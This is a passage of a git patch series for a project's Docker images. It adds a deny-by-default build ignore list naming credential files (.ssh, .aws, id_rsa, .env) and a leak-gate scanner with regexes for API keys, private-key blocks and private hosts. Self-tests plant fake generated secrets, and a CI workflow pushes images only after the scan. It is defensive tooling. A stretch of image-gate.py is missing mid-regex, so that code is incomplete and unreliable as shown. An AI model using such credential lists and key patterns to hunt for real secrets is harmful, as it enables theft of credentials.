secret: it is +# stamped into `codeaf version`, and the image's revision label names the same commit. +FROM ${GO_IMAGE} AS source +ARG SOURCE_COMMIT=unknown +ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false +WORKDIR /src +COPY go.mod go.sum ./ +COPY third_party/raft/ ./third_party/raft/ +RUN go mod download +COPY . . +# BUILD_REV and BUILD_DIRTY are given because there is no .git here to ask; make then never runs git. +RUN make build BUILD_REV="$(printf '%.10s' "${SOURCE_COMMIT}")" BUILD_DIRTY=false \ + && mkdir -p /out && cp bin/codeaf /out/codeaf && /out/codeaf version + +# What the build context holds, for the check that no secret can enter it: build this target with +# `--output type=local,dest=` and list (deploy/org/gate/context-check.sh does). +FROM scratch AS context-probe +COPY . /ctx # The stage whose /out/codeaf the runtime image takes. `COPY --from` does not expand a build argument, # but `FROM` does, so the chosen stage is given one fixed name here. FROM ${CODEAF_BINARY_FROM} AS binary FROM ${RUNTIME_IMAGE} AS runtime +ARG ORG_DIR # git: every checkout and branch the runner makes. python3: the runner's driver. # openssh-client: git over ssh. tini: reaps the processes a harness leaves behind. RUN apt-get update && apt-get install -y --no-install-recommends \ @@ -59,7 +95,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ && useradd --uid 10001 --gid 10001 --create-home --home-dir /home/codeaf --shell /bin/bash codeaf \ && mkdir -p /data && chown codeaf:codeaf /data COPY --from=binary /out/codeaf /usr/local/bin/codeaf -COPY scripts/ /opt/org/ +COPY ${ORG_DIR}/scripts/ /opt/org/ RUN chmod 0755 /opt/org/*.sh /opt/org/*.py ENV HOME=/home/codeaf CODEAF_HOME=/data/codeaf \ CODEAF_TELEMETRY=off DO_NOT_TRACK=1 CODEAF_NO_UPDATE_CHECK=1 diff --git a/deploy/org/codeaf.Dockerfile.dockerignore b/deploy/org/codeaf.Dockerfile.dockerignore new file mode 100644 index 0000000000..13f84329b6 --- /dev/null +++ b/deploy/org/codeaf.Dockerfile.dockerignore @@ -0,0 +1,49 @@ +# The build context of codeaf.Dockerfile is DENIED BY DEFAULT: everything is out unless it is named below, so a file +# somebody left in the tree (an .env, a profile folder, a key, a notes file) cannot enter the build by being there. +# BuildKit reads this file instead of .dockerignore for this Dockerfile, whichever folder is the context. +# `docker buildx build --target context-probe` lists what is in (deploy/org/gate/context-check.sh asserts it). +* + +# The source build: the repository root is the context (CODEAF_BINARY_FROM=source). `make build` needs exactly these. +!go.mod +!go.sum +!Makefile +!cmd +!internal +!third_party/raft +!deploy/org/scripts + +# The fetch and local builds: this folder is the context. +!scripts +!codeaf-local + +# LAST, so that it wins inside the folders allowed above: what never enters an image, wherever it sits. +**/.env +**/.env.* +**/*.env +**/*.pem +**/*.key +**/*.p12 +**/*.pfx +**/*.jks +**/id_rsa* +**/id_ed25519* +**/id_ecdsa* +**/.netrc +**/.npmrc +**/.pypirc +**/.git-credentials +**/.ssh +**/.aws +**/.gnupg +**/.docker +**/.codeaf +**/.aforge +**/.aforge-v3 +**/.claude +**/.git +**/__pycache__ +**/*.pyc +# The furrow the build fetches and the manuals it packs are produced inside the build, never taken from a working tree. +internal/furrowbin/cache/*.gz +internal/manual/*.pack.gz From 4efc1b78382a022bceb03c377ddb57162fcc517f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:20:19 -0500 Subject: [PATCH 073/176] deploy/org/gate: a leak gate for the stack's images, and the checks that prove it image-gate.py scans a built image (trivy secret scan pinned by digest, key shapes in every layer's files, the configuration and build history, private hosts and addresses, the commit label) and never prints a value it finds. selftest.sh plants fake secrets in throwaway images and requires each to fail the right check; context-check.sh requires that a planted .env or key file cannot enter the codeaf build context; pins-check.sh requires every base image and the syntax frontend to carry a digest. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/gate/context-check.sh | 77 ++++++ deploy/org/gate/image-gate.py | 394 ++++++++++++++++++++++++++++++ deploy/org/gate/pins-check.sh | 44 ++++ deploy/org/gate/selftest.sh | 151 ++++++++++++ deploy/org/gate/trivy-secret.yaml | 27 ++ 5 files changed, 693 insertions(+) create mode 100644 deploy/org/gate/context-check.sh create mode 100755 deploy/org/gate/image-gate.py create mode 100755 deploy/org/gate/pins-check.sh create mode 100755 deploy/org/gate/selftest.sh create mode 100644 deploy/org/gate/trivy-secret.yaml diff --git a/deploy/org/gate/context-check.sh b/deploy/org/gate/context-check.sh new file mode 100644 index 0000000000..7f821653bb --- /dev/null +++ b/deploy/org/gate/context-check.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash +# Proves that no secret can enter the codeaf image's build context: it plants fake .env files, key files, a profile folder +# and a notes file all over a copy of the repository's files, builds codeaf.Dockerfile's `context-probe` target (which +# copies the whole context into an otherwise empty image) and checks that none of the planted files is in it while the +# files the source build needs are. The planted files exist only in a temporary tar; nothing is written into the tree. +# +# DOCKER=docker ./context-check.sh [REPO_ROOT] # DOCKER is optional (the wrapper that reaches a docker engine) +set -eu +root=${1:-$(git rev-parse --show-toplevel)} +DOCKER=${DOCKER:-docker} +read -r -a D <<<"$DOCKER" +work=$(mktemp -d) +trap 'rm -rf "$work"' EXIT + +planted=( + .env + .env.local + deploy/org/.env + deploy/org/scripts/.env + internal/.env.production + cmd/codeaf/prod.env + .codeaf/config.json + .claude/settings.json + .aws/credentials + .ssh/id_ed25519 + home/someone/.codeaf/profile.json + cmd/codeaf/id_rsa + internal/probe.pem + internal/token.key + docs/private-notes.md + notes.txt +) +required=( + go.mod + go.sum + Makefile + cmd/codeaf/main.go + internal/manual/manual.go + third_party/raft/go.mod + deploy/org/scripts/entrypoint.sh + deploy/org/scripts/sessionhost.sh +) + +mkdir -p "$work/plant" +for path in "${planted[@]}"; do + mkdir -p "$work/plant/$(dirname "$path")" + echo "planted-fake-$RANDOM" >"$work/plant/$path" +done + +# The context is every file git knows (tracked, or new and not ignored) plus the planted ones: what a build on a +# checkout, a laptop or a CI runner could be handed. +(cd "$root" && git ls-files -z --cached --others --exclude-standard | tar --null -T - -cf -) >"$work/context.tar" +tar -C "$work/plant" -rf "$work/context.tar" . + +"${D[@]}" build -f deploy/org/codeaf.Dockerfile --target context-probe -o type=tar,dest=- - <"$work/context.tar" >"$work/probe.tar" 2>"$work/build.log" || { + echo "context check: the probe image did not build:" >&2 + tail -n 15 "$work/build.log" >&2 + exit 2 +} +tar -tf "$work/probe.tar" | sed 's|^\./||' >"$work/listing" + +bad=0 +for path in "${planted[@]}"; do + if grep -qx "ctx/$path" "$work/listing"; then + echo "context check: FAIL: the planted file $path entered the build context" >&2 + bad=1 + fi +done +for path in "${required[@]}"; do + if ! grep -qx "ctx/$path" "$work/listing"; then + echo "context check: FAIL: $path, which the build needs, is not in the build context" >&2 + bad=1 + fi +done +echo "context check: $(grep -c '[^/]$' "$work/listing") files in the build context, ${#planted[@]} planted files kept out, ${#required[@]} required files present" +[ "$bad" = 0 ] && echo "context check: PASS" +exit "$bad" diff --git a/deploy/org/gate/image-gate.py b/deploy/org/gate/image-gate.py new file mode 100755 index 0000000000..855ff25db8 --- /dev/null +++ b/deploy/org/gate/image-gate.py @@ -0,0 +1,394 @@ +#!/usr/bin/env python3 +"""The leak gate for the org stack's images. It runs on a built image BEFORE any push and exits non-zero on a finding. + + image-gate.py IMAGE [--expect-commit SHA] [--summary FILE] IMAGE is a tag or id the local docker can `save` + image-gate.py --tar FILE [...] or a tar written by `docker save` + +It never prints a value it finds: a finding names the check, the layer, the path and the rule, plus the first four +characters and the length of what matched (CI logs of a public repository are public). Exit 0: clean. Exit 1: a finding. +Exit 2: the gate itself could not run (a scanner that did not run is a failure, never a pass). + +WHAT IT CHECKS (README.md "Published images" repeats this list; change both together): + + A1 trivy secret scan (the pinned image below, built-in rules plus gate/trivy-secret.yaml) over the image's files. + A2 key and token SHAPES (OpenRouter, Anthropic, OpenAI, GitHub, AWS, Google, Slack, Stripe keys, JWTs, PEM private-key + blocks, a docker/npm "auth" blob) in the bytes of every file of EVERY layer, binaries included, and in every + layer a later layer deleted (the layer, not the merged filesystem, is what gets pushed). Skipped: package + documentation, man pages, locale and zoneinfo data, the package databases, CA bundles, the Python and Perl + standard libraries (NOISE_PREFIXES below). + B1 the image configuration: every ENV and label value, the entrypoint, command and health check. A variable whose name + says secret (key, token, secret, password, credential, auth) with a value that is not empty, a path, a number or a + boolean fails; so does any value shaped like a key (A2's shapes). + B2 the build history (`docker history --no-trunc`): any ARG whose NAME says secret fails (declared or not, valued or + not: a secret is never a build argument), any NAME=value in a build line that B1 would refuse fails, and any key + shape in the text fails. A build argument's value is recorded in the history, which is why it is refused. + C1 private hostnames and addresses: railway.app, up.railway and railway.internal anywhere, binaries included; + credentials in a localhost URL (scheme://user:password@localhost) anywhere, binaries included; any other `.internal` + host name (except the well-known public ones in WELL_KNOWN_INTERNAL) and 10./192.168./172.16-31. addresses in TEXT + files outside the distribution's own trees (SYSTEM_PREFIXES: /usr/lib, /usr/share, /bin, /usr/bin, ...): the scripts, + configuration and copied files our build added. Compiled programs are built from public source, so an example address + in one's error message is not a leak; a range written with a /prefix length is a network, not a host. The strong + patterns also run over labels and the configuration. + C2 with --expect-commit: the image's org.opencontainers.image.revision label is that commit. +""" +import argparse +import gzip +import json +import os +import re +import shlex +import subprocess +import sys +import tarfile +import tempfile + +HERE = os.path.dirname(os.path.abspath(__file__)) + +# The scanner is pinned by digest (tag kept for the reader); change both together. A container, not a marketplace +# action: the same command runs on a laptop and in CI, and an image by digest cannot be re-pointed. +TRIVY_IMAGE = "ghcr.io/aquasecurity/trivy:0.76.2@sha256:8f6bb947dbc528902e11f2f5be52f7b519f6a39d5d148f41166f2040499768fb" + +MAX_FILE_BYTES = 600 * 1024 * 1024 + +# Excluded from every file scan: distribution data that is large, is not ours, and holds example credentials. +NOISE_PREFIXES = ( + "usr/share/doc/", "usr/share/doc-base/", "usr/share/man/", "usr/share/info/", "usr/share/locale/", + "usr/share/zoneinfo/", "usr/share/perl", "usr/share/lintian/", "usr/share/bash-completion/", + "usr/share/git-core/", "usr/share/gitweb/", "usr/share/ca-certificates/", "usr/lib/python3", "usr/lib/git-core/", + "usr/lib/ssl/", "var/lib/dpkg/", "var/lib/apt/", "var/cache/", "var/log/", "lib/apk/", "etc/ssl/certs/", + "etc/ca-certificates", +) +# Excluded from the weak host patterns only (private addresses, .internal names): the distribution's own trees, whose +# binaries and data hold such strings legitimately. Everything else, and `usr/local`, is ours. +SYSTEM_PREFIXES = ( + "usr/lib/", "usr/share/", "lib/", "lib64/", "bin/", "sbin/", "usr/bin/", "usr/sbin/", "usr/libexec/", + "usr/include/", "etc/ssl/", "etc/alternatives/", "etc/apt/", "etc/dpkg/", "etc/perl/", "etc/python3", +) +WELL_KNOWN_INTERNAL = { + "metadata.google.internal", "host.docker.internal", "gateway.docker.internal", "kubernetes.docker.internal", + "docker.internal", +} + +# name, regex. Specific shapes only: a generic "password = ..." rule would fail on every script that reads one. +KEY_SHAPES = [ + ("openrouter-key", r"sk-or-v1-[0-9a-f]{64}"), + ("anthropic-key", r"sk-ant-[A-Za-z0-9_\-]{32,}"), + ("openai-key", r"sk-proj-[A-Za-z0-9_\-]{40,}|sk-[A-Za-z0-9_\-]{20,}T3BlbkFJ[A-Za-z0-9_\-]{20,}"), + ("github-token", r"\bgh[pousr]_[A-Za-z0-9]{36,}"), + ("github-fine-grained-token", r"github_pat_[A-Za-z0-9_]{60,}"), + ("aws-access-key-id", r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b"), + ("google-api-key", r"\bAIza[0-9A-Za-z_\-]{35}"), + ("slack-token", r"\bxox[abposr]-[0-9A-Za-z\-]{20,}"), + ("stripe-live-key", r"\b[sr]k_live_[0-9a-zA-Z]{24,}"), + ("jwt", r"\beyJ[A-Za-z0-9_\-]{10,}\.eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}"), + ("private-key-block", r"-----BEGIN (?:[A-Z0-9]+ )*PRIVATE KEY-----[\r\n\s\\n]*[A-Za-z0-9+/=]{40,}"), + ("registry-auth-blob", r'"auth"\s*:\s*"[A-Za-z0-9+/=]{20,}"'), +] +# Railway, and credentials in a localhost URL: wrong in any file, so no distribution exemption. +HOST_STRONG = [ + ("railway-domain", r"(?i)\brailway\.app\b"), + ("railway-edge-host", r"(?i)\bup\.railway\b"), + ("railway-private-name", r"(?i)\brailway\.internal\b"), + ("localhost-credentials", r"\b[a-z][a-z0-9+.\-]*://[^/\s:@]+:[^/\s@]+@(?:localhost|127\.\d+\.\d+\.\d+|\[::1\])(?![\w.\-])"), +] +INTERNAL_HOST = r"\b(?:[a-z0-9][a-z0-9\-]*\.)+internal\b(?![\w/\-])" +PRIVATE_IP = (r"(? 1 else "")) + extra = self.count(check) - limit + if extra > 0: + out.append(f"... and {extra} more") + return out + + +def docker_cmd(): + return shlex.split(os.environ.get("DOCKER", "docker")) + + +def save_image(image, dest): + with open(dest, "wb") as fh: + proc = subprocess.run(docker_cmd() + ["save", image], stdout=fh, stderr=subprocess.PIPE) + if proc.returncode != 0: + raise RuntimeError("docker save %s failed: %s" % (image, proc.stderr.decode(errors="replace").strip()[-300:])) + + +def read_member(tf, name): + f = tf.extractfile(tf.getmember(name)) + return f.read() if f else b"" + + +def layer_tar(tf, name): + """A tarfile positioned at one layer of a `docker save` archive; layers may be plain or gzip.""" + raw = tf.extractfile(tf.getmember(name)) + magic = raw.read(4) + raw.seek(0) + if magic[:2] == b"\x1f\x8b": + return tarfile.open(fileobj=gzip.GzipFile(fileobj=raw), mode="r|") + if magic == b"\x28\xb5\x2f\xfd": + raise RuntimeError("zstd-compressed layers are not supported by this gate: " + name) + return tarfile.open(fileobj=raw, mode="r|") + + +def compile_all(table, flags=0): + return [(n, re.compile(p.encode(), flags)) for n, p in table] + + +KEY_RES = compile_all(KEY_SHAPES) +HOST_STRONG_RES = compile_all(HOST_STRONG) +INTERNAL_RE = re.compile(INTERNAL_HOST.encode(), re.I) +PRIVATE_IP_RE = re.compile(PRIVATE_IP.encode()) + + +def scan_bytes(findings, where, data, under_system): + for rule, rx in KEY_RES: + for m in rx.finditer(data): + findings.add("A2", where, rule, m.group(0)) + for rule, rx in HOST_STRONG_RES: + for m in rx.finditer(data): + findings.add("C1", where, rule, m.group(0)) + # The weak patterns look at TEXT files (no NUL byte near the start) outside the distribution's trees. A compiled program + # is built from public source (this repository, SWE-AF and PR-AF at pinned commits, the published control plane): an + # example address in one of its error messages (codeaf's own say `such as http://10.0.0.5:8080`) is in that public source + # already. What the gate guards is what the build context and the build steps added: scripts, configuration, copied files. + # A key, a Railway host or localhost credentials are refused in binaries too (the strong patterns above). + if under_system or b"\x00" in data[:8192]: + return + if b".internal" in data: + for m in INTERNAL_RE.finditer(data): + host = m.group(0).decode("latin-1").lower() + if host not in WELL_KNOWN_INTERNAL and "railway.internal" not in host: + findings.add("C1", where, "internal-hostname", m.group(0)) + for m in PRIVATE_IP_RE.finditer(data): + findings.add("C1", where, "private-address", m.group(0)) + + +def scan_layers(tf, layers, findings): + files = 0 + for index, name in enumerate(layers, start=1): + with layer_tar(tf, name) as lt: + for member in lt: + if not member.isreg(): + continue + path = re.sub(r"^(?:\./)+", "", member.name).lstrip("/") + base = os.path.basename(path) + if base.startswith(".wh."): + continue + if path.startswith(NOISE_PREFIXES): + continue + if member.size > MAX_FILE_BYTES: + findings.add("A2", f"layer {index} /{path}", "file-too-large-to-scan", b"x" * 4) + continue + data = lt.extractfile(member).read() + files += 1 + scan_bytes(findings, f"layer {index} /{path}", data, path.startswith(SYSTEM_PREFIXES)) + return files + + +def scan_text_for_shapes(findings, check, where, text): + data = text.encode("utf-8", "replace") + for rule, rx in KEY_RES: + for m in rx.finditer(data): + findings.add(check, where, rule, m.group(0)) + for rule, rx in HOST_STRONG_RES: + for m in rx.finditer(data): + findings.add("C1", where, rule, m.group(0)) + + +def check_config(findings, config): + cfg = config.get("config") or {} + for item in cfg.get("Env") or []: + name, _, value = item.partition("=") + if secret_name(name) and not benign_value(value): + findings.add("B1", f"ENV {name}", "secret-named-variable-with-a-value", value) + scan_text_for_shapes(findings, "B1", f"ENV {name}", value) + for name, value in (cfg.get("Labels") or {}).items(): + if secret_name(name) and not benign_value(value): + findings.add("B1", f"label {name}", "secret-named-label-with-a-value", value) + scan_text_for_shapes(findings, "B1", f"label {name}", value) + for field in ("Entrypoint", "Cmd", "Healthcheck", "User", "WorkingDir", "Volumes", "ExposedPorts"): + scan_text_for_shapes(findings, "B1", f"config {field}", json.dumps(cfg.get(field))) + + +ASSIGN = re.compile(r"(?/dev/null 2>&1; done + rm -rf "$WORK" +} +trap cleanup EXIT + +rand_alnum() { python3 -c 'import secrets,string,sys; print("".join(secrets.choice(string.ascii_letters+string.digits) for _ in range(int(sys.argv[1]))))' "$1"; } +rand_hex() { python3 -c 'import secrets,sys; print(secrets.token_hex(int(sys.argv[1])))' "$1"; } +rand_b64() { python3 -c 'import base64,secrets,sys; print(base64.b64encode(secrets.token_bytes(int(sys.argv[1]))).decode())' "$1"; } + +OPENROUTER_FAKE="sk-or-""v1-$(rand_hex 32)" +GITHUB_FAKE="gh""p_$(rand_alnum 36)" +PEM_BEGIN="-----BEGIN ""PRIVATE KEY-----" +PEM_END="-----END ""PRIVATE KEY-----" +PEM_FAKE="${PEM_BEGIN}"$'\n'"$(rand_b64 150 | fold -w 64)"$'\n'"${PEM_END}" +AUTH_FAKE="{\"auths\":{\"registry.example.org\":{\"auth\":\"$(rand_b64 30 | tr -d '\n')\"}}}" +RAILWAY_FAKE="db-$(rand_alnum 6).up.rail""way.app" +RAILWAY_PRIVATE_FAKE="postgres://db.rail""way.internal:5432/app" + +pass=0 +fail=0 +results=() + +# build_and_gate NAME EXPECT_EXIT EXPECT_CHECK [extra gate args] -- reads the Dockerfile body from stdin; every file written into +# $WORK/NAME/ctx beforehand is the build context (COPY it). EXPECT_CHECK is the check that must report, or "-" for none. +build_and_gate() { + local name="$1" want_exit="$2" want_check="$3"; shift 3 + local dir="$WORK/$name" tag="org-gate-selftest-${name}:${RUN_ID}" + { echo "FROM $BASE"; cat; } >"$dir/Dockerfile" + BUILT+=("$tag") + if ! tar -C "$dir" -cf - . | "${DOCKER_ARGV[@]}" build -q -t "$tag" ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"} - >"$dir/build.log" 2>&1; then + results+=("ERROR $name: the throwaway image did not build: $(tail -n 3 "$dir/build.log" | tr '\n' ' ')") + fail=$((fail + 1)); return + fi + python3 ./image-gate.py "$tag" "$@" >"$dir/gate.log" 2>&1 + local got_exit=$? + local ok=1 + [ "$got_exit" = "$want_exit" ] || ok=0 + if [ "$want_check" != "-" ]; then grep -q "\[FAIL\] $want_check" "$dir/gate.log" || ok=0; fi + # A gate finding must never print the planted value. + for secret in "$OPENROUTER_FAKE" "$GITHUB_FAKE"; do grep -qF "$secret" "$dir/gate.log" && ok=0; done + if [ "$ok" = 1 ]; then + results+=("OK $name: exit $got_exit, $( [ "$want_check" = "-" ] && echo 'clean' || echo "check $want_check reported")") + pass=$((pass + 1)) + else + results+=("WRONG $name: wanted exit $want_exit and check $want_check, got exit $got_exit:"); results+=("$(sed 's/^/ /' "$dir/gate.log")") + fail=$((fail + 1)) + fi +} + +new_case() { mkdir -p "$WORK/$1/ctx"; BUILD_ARGS=(); } + +# 0. Clean, with strings that must NOT trip it: a network range, the metadata host, a URL with credentials to a real +# (non-local) host in documentation, an empty secret-named variable, a path-valued one, a checksum. +new_case clean +printf 'ranges 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16\nhost metadata.google.internal\nsmtp://user:pass@mail.example.org:587\n' >"$WORK/clean/ctx/notes.txt" +build_and_gate clean 0 - <"$WORK/file-openrouter-key/ctx/config.json" +build_and_gate file-openrouter-key 1 A2 <<'EOF' +COPY ctx/config.json /opt/app/config.json +EOF +new_case file-github-token; printf 'token: %s\n' "$GITHUB_FAKE" >"$WORK/file-github-token/ctx/hosts.yml" +build_and_gate file-github-token 1 A2 <<'EOF' +COPY ctx/hosts.yml /home/app/.config/gh/hosts.yml +EOF +new_case file-private-key; printf '%s\n' "$PEM_FAKE" >"$WORK/file-private-key/ctx/deploy.pem" +build_and_gate file-private-key 1 A2 <<'EOF' +COPY ctx/deploy.pem /opt/app/deploy.pem +EOF +new_case file-registry-auth; printf '%s\n' "$AUTH_FAKE" >"$WORK/file-registry-auth/ctx/config.json" +build_and_gate file-registry-auth 1 A2 <<'EOF' +COPY ctx/config.json /root/.docker/config.json +EOF +# The same key, added and then deleted by a later layer: the merged filesystem is clean, the pushed layer is not. +new_case deleted-layer-key; printf '%s\n' "$OPENROUTER_FAKE" >"$WORK/deleted-layer-key/ctx/key.txt" +build_and_gate deleted-layer-key 1 A2 <<'EOF' +COPY ctx/key.txt /opt/key.txt +RUN rm /opt/key.txt +EOF + +# The configuration and the history (B1, B2). +new_case env-secret-name +build_and_gate env-secret-name 1 B1 <"$WORK/host-railway/ctx/endpoints" +build_and_gate host-railway 1 C1 <<'EOF' +COPY ctx/endpoints /opt/app/endpoints +EOF +new_case host-private-address; printf 'http://10.8.3.12:8080/health\n' >"$WORK/host-private-address/ctx/endpoint" +build_and_gate host-private-address 1 C1 <<'EOF' +COPY ctx/endpoint /opt/app/endpoint +EOF +new_case host-internal-name; printf 'db.corp.internal\n' >"$WORK/host-internal-name/ctx/endpoint" +build_and_gate host-internal-name 1 C1 <<'EOF' +COPY ctx/endpoint /opt/app/endpoint +EOF +new_case host-localhost-credentials; printf 'http://admin:%s@localhost:8080/\n' "$(rand_alnum 12)" >"$WORK/host-localhost-credentials/ctx/endpoint" +build_and_gate host-localhost-credentials 1 C1 <<'EOF' +COPY ctx/endpoint /opt/app/endpoint +EOF + +# The commit label (C2). +new_case wrong-commit-label +build_and_gate wrong-commit-label 1 C2 --expect-commit 2222222222222222222222222222222222222222 <<'EOF' +LABEL org.opencontainers.image.revision=1111111111111111111111111111111111111111 +EOF + +echo "image gate self-test: $pass passed, $fail failed" +printf '%s\n' "${results[@]}" +[ "$fail" = 0 ] diff --git a/deploy/org/gate/trivy-secret.yaml b/deploy/org/gate/trivy-secret.yaml new file mode 100644 index 0000000000..3977465618 --- /dev/null +++ b/deploy/org/gate/trivy-secret.yaml @@ -0,0 +1,27 @@ +# Extra secret rules for the image gate (image-gate.py check A1), added to trivy's built-in rules. +# The built-in set already covers AWS, GitHub, Google, Slack, Stripe, private-key blocks and many more; these are the +# keys this program's own stack uses, which a general scanner has no reason to know the shape of. +rules: + - id: openrouter-api-key + category: OpenRouter + title: OpenRouter API key + severity: CRITICAL + regex: 'sk-or-v1-[0-9a-f]{64}' + keywords: + - 'sk-or-v1-' + - id: anthropic-api-key + category: Anthropic + title: Anthropic API key + severity: CRITICAL + regex: 'sk-ant-[A-Za-z0-9_\-]{32,}' + keywords: + - 'sk-ant-' + - id: agentfield-style-hex-key-assignment + category: AgentField + title: A 64-hex-character value assigned to a key, token or secret variable + severity: HIGH + regex: '(?i)(?:api_?key|token|secret|server_?key)[a-z0-9_]*["'']?\s*[:=]\s*["'']?[0-9a-f]{64}\b' + keywords: + - 'key' + - 'token' + - 'secret' From c32028b9f9273600a1bcdcef8fc4a042fe873a83 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:20:26 -0500 Subject: [PATCH 074/176] ci: build, scan and (only with credentials) push the org stack's images org-images.yml builds the six images for amd64 and arm64 natively, runs the leak gate on each built image before any login, and pushes the very image it scanned as -; a manifest job joins the platforms into , dev and branch- only after every gate passed. Without DOCKERHUB_USERNAME and DOCKERHUB_TOKEN it builds and scans and pushes nothing. Third-party actions are pinned by commit. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 254 +++++++++++++++++++++++++++++++ 1 file changed, 254 insertions(+) create mode 100644 .github/workflows/org-images.yml diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml new file mode 100644 index 0000000000..a690e67cfc --- /dev/null +++ b/.github/workflows/org-images.yml @@ -0,0 +1,254 @@ +name: org images + +# THE IMAGES OF THE SELF-HOSTED ORGANIZATION STACK (deploy/org), built from the pushed commit, scanned for leaks, and +# pushed to Docker Hub only when the repository has been given credentials to push with. +# +# WHY THEY ARE PUBLISHED. A Railway template takes its services from a GitHub repository through Railway's GitHub App, +# which this organization does not have installed. A template also accepts public Docker images, so the stack is +# published as images and the template (deploy/org/railway/make-template.sh) names them. `docker compose pull && up` +# runs from the same images (deploy/org/images.env). +# +# THE ORDER IS THE POINT: build, then the leak gate (deploy/org/gate/image-gate.py) on the built image, then, and only if +# the gate passed, push THAT SAME LOCAL IMAGE. The bytes the gate read are the bytes that are pushed; nothing is rebuilt +# between the two. A failed gate stops the job before any login. +# +# PUSHING IS OPT-IN. With no DOCKERHUB_USERNAME and DOCKERHUB_TOKEN secret (a fork, a repository that has not been given +# them yet) every job builds and scans and is green, and nothing logs in anywhere. DOCKERHUB_NAMESPACE (a repository +# variable, default `agentfield`) says whose namespace the images go to, so a test run can point at a personal one with no +# code edit. Image names carry the codeaf-org prefix so they cannot be mistaken for agentfield/control-plane. +# +# PLATFORMS: linux/amd64 and linux/arm64, each built and scanned NATIVELY on its own runner (GitHub's arm64 runners), so there +# is no emulation and no cross-compiling to get wrong. Each leg pushes `-`; once every leg of every image has +# passed its gate, the `manifest` job joins the two into the multi-platform tags (``, `dev`, `branch-`), so a +# gate that fails on either platform keeps every public tag where it was. +# +# THIRD-PARTY ACTIONS ARE PINNED TO A COMMIT, not a tag: this workflow can hold a registry token, and a tag can be moved. +# The comment beside each is the release it was resolved from. +on: + push: + branches: + - dev + - w24/org-images + workflow_dispatch: + +permissions: + contents: read + +# One run per ref at a time and none cancelled half way: a run cancelled between two image pushes would leave `:dev` on two +# different commits. A newer push waits, and only the newest waiting one runs. +concurrency: + group: org-images-${{ github.ref }} + cancel-in-progress: false + +env: + DOCKERHUB_NAMESPACE: ${{ vars.DOCKERHUB_NAMESPACE || 'agentfield' }} + +jobs: + # The gate is proven before it is trusted: throwaway images with fake keys planted in them must FAIL it, a clean one must + # pass, and a planted .env or key file must not be able to enter the codeaf build context. Nothing here is tagged for a + # registry or pushed. + gate-selftest: + name: gate self-test + runs-on: ubuntu-latest + timeout-minutes: 20 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Every base image is pinned by digest + run: deploy/org/gate/pins-check.sh + - name: Planted fake secrets must fail the gate + run: deploy/org/gate/selftest.sh + - name: Planted files must not enter the build context + run: deploy/org/gate/context-check.sh + + # The commit's short id, the tags it earns, and whether this run may push at all. Nothing secret leaves this job: `push` is + # only the words true or false. + plan: + runs-on: ubuntu-latest + timeout-minutes: 5 + env: + HAVE_PUSH_SECRETS: ${{ secrets.DOCKERHUB_USERNAME != '' && secrets.DOCKERHUB_TOKEN != '' }} + outputs: + short: ${{ steps.plan.outputs.short }} + tags: ${{ steps.plan.outputs.tags }} + push: ${{ steps.plan.outputs.push }} + steps: + - name: Names and tags + id: plan + run: | + set -euo pipefail + short="${GITHUB_SHA::12}" + tags="${short}" + if [ "${GITHUB_REF}" = "refs/heads/dev" ]; then + tags="${tags} dev" + else + # branch-: lower case, anything outside [a-z0-9._-] (the slash of a branch name) becomes a dash. + branch="$(printf '%s' "${GITHUB_REF_NAME}" | tr 'A-Z' 'a-z' | tr -c 'a-z0-9._\n-' '-' | cut -c1-100)" + tags="${tags} branch-${branch}" + fi + echo "short=${short}" >> "${GITHUB_OUTPUT}" + echo "tags=${tags}" >> "${GITHUB_OUTPUT}" + echo "push=${HAVE_PUSH_SECRETS}" >> "${GITHUB_OUTPUT}" + if [ "${HAVE_PUSH_SECRETS}" != "true" ]; then + echo "No registry credentials here (DOCKERHUB_USERNAME and DOCKERHUB_TOKEN are not both set): every image is built and scanned, none is pushed." >> "${GITHUB_STEP_SUMMARY}" + fi + + images: + name: ${{ matrix.image }} (${{ matrix.arch }}) + needs: [gate-selftest, plan] + runs-on: ${{ matrix.runner }} + timeout-minutes: 60 + strategy: + fail-fast: false + matrix: + arch: [amd64, arm64] + image: + - codeaf-org + - codeaf-org-agentfield + - codeaf-org-swe-af + - codeaf-org-pr-af + - codeaf-org-modelstub + - codeaf-org-gitstub + include: + - arch: amd64 + runner: ubuntu-latest + - arch: arm64 + runner: ubuntu-24.04-arm + # The codeaf image is built from THIS commit's source with `make build` (the organization server, the factory + # runner and the hosted chats' sessionhost all run from it); the build context is the repository root. + - image: codeaf-org + file: deploy/org/codeaf.Dockerfile + context: . + build_args: | + ORG_DIR=deploy/org + CODEAF_BINARY_FROM=source + SOURCE_COMMIT=${{ github.sha }} + # The AgentField control plane: the published, digest-pinned image plus a health check and a volume hand-off. + - image: codeaf-org-agentfield + file: deploy/org/agentfield.Dockerfile + context: deploy/org + - image: codeaf-org-swe-af + file: deploy/org/swe-af.Dockerfile + context: deploy/org + - image: codeaf-org-pr-af + file: deploy/org/pr-af.Dockerfile + context: deploy/org + # The two stubs of the keyless smoke test (compose profile `stub`). + - image: codeaf-org-modelstub + file: deploy/org/modelstub.Dockerfile + context: deploy/org + - image: codeaf-org-gitstub + file: deploy/org/gitstub.Dockerfile + context: deploy/org + env: + SHORT: ${{ needs.plan.outputs.short }} + # Never a registry name: the image exists only on this runner until the gate has passed. + LOCAL_IMAGE: org-gate/${{ matrix.image }}:${{ needs.plan.outputs.short }}-${{ matrix.arch }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1 + + # Loaded into the local engine, not pushed. The labels name the commit: org.opencontainers.image.revision is the + # one a 